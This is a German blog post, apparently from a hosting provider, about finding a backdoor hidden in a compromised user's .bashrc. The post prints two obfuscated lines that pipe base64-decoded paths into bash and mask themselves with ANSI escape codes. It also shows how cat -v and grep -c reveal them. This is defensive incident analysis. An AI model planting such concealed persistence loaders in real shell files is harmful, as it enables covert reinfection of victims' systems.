Gut versteckt... in der .bashrc
Wenn wir bei uns einen Asteroid vorfinden, unter dessen User-ID verdächtige Prozesse laufen, dann fangen wir umgehend an, zu untersuchen, was dort denn passiert sein könnte.
Wir schauen beispielsweise mit lsof -p <PID>, welches Binary dort ausgeführt wird, und Funde wie /var/www/virtual/ASTEROID/html/wp-content/plugins/.remoteshell machen dann schon sehr deutlich, dass hier eine Kompromittierung vorliegt.
Hier gilt es dann, erstmal soviel wie möglich abzuschalten, um ein weiteres Ausnutzen einer Sicherheitslücke z.B. im vom User verwendeten CMS zu verhindern. Gleichzeitig sollte der User selbst aber möglichst noch seinen Zugang behalten können, damit er noch Zugriff auf seine Inhalte hat, um jene zu sichern. Es ist in der Regel wenig zielführend, zu versuchen, einen kompromittierten Asteroid zu bereinigen - denn wo überall sich Hintertüren verstecken können, ist schwer zu überblicken. Deshalb empfehlen wir z.B. Usern mit einem gehackten CMS, sich lieber einen frischen Asteroid zu klicken, dann eine frische CMS-Installation auf Basis der neuesten Version vorzunehmen, und dann ausschließlich ihre Inhalte zu migrieren, aber keinen Code vom kompromittierten System zu übernehmen.
Nicht selten finden sich auf kompromittierten Asteroids Hintertüren in der Form, dass bestehende PHP-Dateien um unverdächtig wirkende Zeilen erweitert werden, die in Wirklichkeit aber Schadcode nachladen. Auch Einträge in der Cronjob, die minütlich eine Neuinfektion versuchen, finden sich relativ oft. Was wir ebenfalls immer kontrollieren, ist, ob z.B. zusätzliche SSH-Keys hinterlegt wurden. Überraschenderweise ist das regelmäßig nicht der Fall, obwohl es eine der leichtesten Übungen wäre, um sich diskret eine Hintertür offenzuhalten.
Heute hatten wir nun einen Fall, den wir zum ersten Mal gesehen haben und der direkt auf die Liste der Dinge kommt, die wir künftig ebenfalls prüfen.
Wir hatten mit einem Asteroid zu tun, der eine Applikation auf Basis von React laufen hatte, das erst kürzlich durch eine massiv ausgenutzte kritische Sicherheitslücke aufgefallen ist. Im konkreten Fall war React noch nicht auf die aktuellste Version aktualisiert, die die Lücke schließt - was prompt einen Einbruch in den Asteroid nach sich zog. Die Applikation war bereits gestoppt, die vorgefundenen verdächtigen Prozesse erst dokumentiert und dann beendet, die Crontab überprüft. Aber trotzdem entstanden nach kurzer Zeit immer wieder neue Prozesse, die wir uns nicht erklären konnten. Wir haben aus diesem Grund zur Sicherheit entschieden, den betreffenden U7-Host zunächst herunterzufahren, um weitere Untersuchungen offline durchzuführen.
Unter den untersuchten Dateien befand sich auch die .bashrc des Users, die wie folgt aussah:
[root@kochab ~]# cat /home/XXXXXXXX/.bashrc
# .bashrc
export PATH=/home/XXXXXXXX/.local/bin:$PATH
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
# Uncomment the following line if you don't like systemctl's auto-paging feature:
# export SYSTEMD_PAGER=
# User specific aliases and functions
Abgesehen von der Zeile, die den PATH um ein Verzeichnis erweitert, die hier aber unkritisch ist, gibt’s nichts Verdächtiges zu sehen, oder?
Genau: Zu sehen gibt es nichts. Aber da ist etwas. Es ist nur verborgen - hinter Escape-Sequenzen:
Eine Escape-Sequenz (nach dem Escape-Zeichen, englisch to escape ‚entkommen‘) ist eine Zeichenkombination in der technischen Informatik, die keinen Text repräsentiert, sondern vom Gerät abgefangen wird und eine Sonderfunktion ausführt. Bei einem Bildschirmterminal kann dies z. B. die Cursor-Positionierung sein, bei einem Drucker die Umschaltung auf eine andere Schriftgröße oder das Auswerfen der Seite.
Glücklicherweise hat cat ein Flag, mit dem solche nicht-druckbaren Zeichen ausgegeben statt interpretiert werden:
-v, --show-nonprinting
use ^ and M- notation, except for LFD and TAB
Und jetzt schauen wir uns nochmal die gleiche Datei an:
[root@kochab ~]# cat -v /home/XXXXXXXX/.bashrc
# .bashrc
export PATH=/home/XXXXXXXX/.local/bin:$PATH
{ echo L2hvbWUvWFhYWFhYWFgvLmNvbmZpZy9kY29uZi93YXRjaGRvZ2RzCg==|base64 -d|bash;} 2>/dev/null >/dev/null #watchdogds^[[2K^[[1A
{ echo L2hvbWUvWFhYWFhYWFgvLmNvbmZpZy9wdWxzZS9mZ3NkCg==|base64 -d|bash;} 2>/dev/null >/dev/null #fgsd^[[2K^[[1A
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
# Uncomment the following line if you don't like systemctl's auto-paging feature:
# export SYSTEMD_PAGER=
# User specific aliases and functions
Aha! Und schon ist offenbar, wo eine ständige Neuinfektion herkommt:
Sie passiert nämlich immer dann, wenn eine bash unter dieser User-ID aufgerufen wird.
Das kann im Zweifelsfall auch durch eine eingehende Mail getriggert werden, die aus einer .qmail-Datei heraus ein bash-Script ausführt.
Oder durch einen schlichten Login des Users per SSH: Eingeloggt - neu infiziert.
Escape-Sequenzen werden durch das Terminal ausgewertet.
Insofern betrifft das nicht spezifisch cat, sondern alle Tools, die Dinge “einfach auf der Konsole ausgeben”.
Einfach mal mit grep geschaut:
[root@kochab ~]# grep base64 /home/XXXXXXXX/.bashrc
[root@kochab ~]#
Nix gefunden, oder? Aber stattdessen die Zeilen zu zählen, die grep gefunden hat, besagt etwas anderes:
[root@kochab ~]# grep -c base64 /home/XXXXXXXX/.bashrc
2
Wir haben insofern direkt eine entsprechende Suche quer über alle Asteroids bei uns gemacht und tatsächlich noch eine (geringe) Zahl weiterer Fälle identifizieren können. Diese Asteroids behandeln wir nun ebenfalls gemäß unseres Kompromittierungsprotokolls und informieren die betreffenden User persönlich per E-Mail.
Wir wissen, dass es zeitaufwendig und nervig ist, nach einer Kompromittierung einen Asteroid neu aufsetzen zu müssen. Aber das heutige Lehrstück hat auch uns noch einmal gezeigt, dass “einfach nur irgendwie bereinigen” eben durchaus das Risiko in sich trägt, dabei Dinge zu übersehen.
Foto von Dimas Wardana auf Unsplash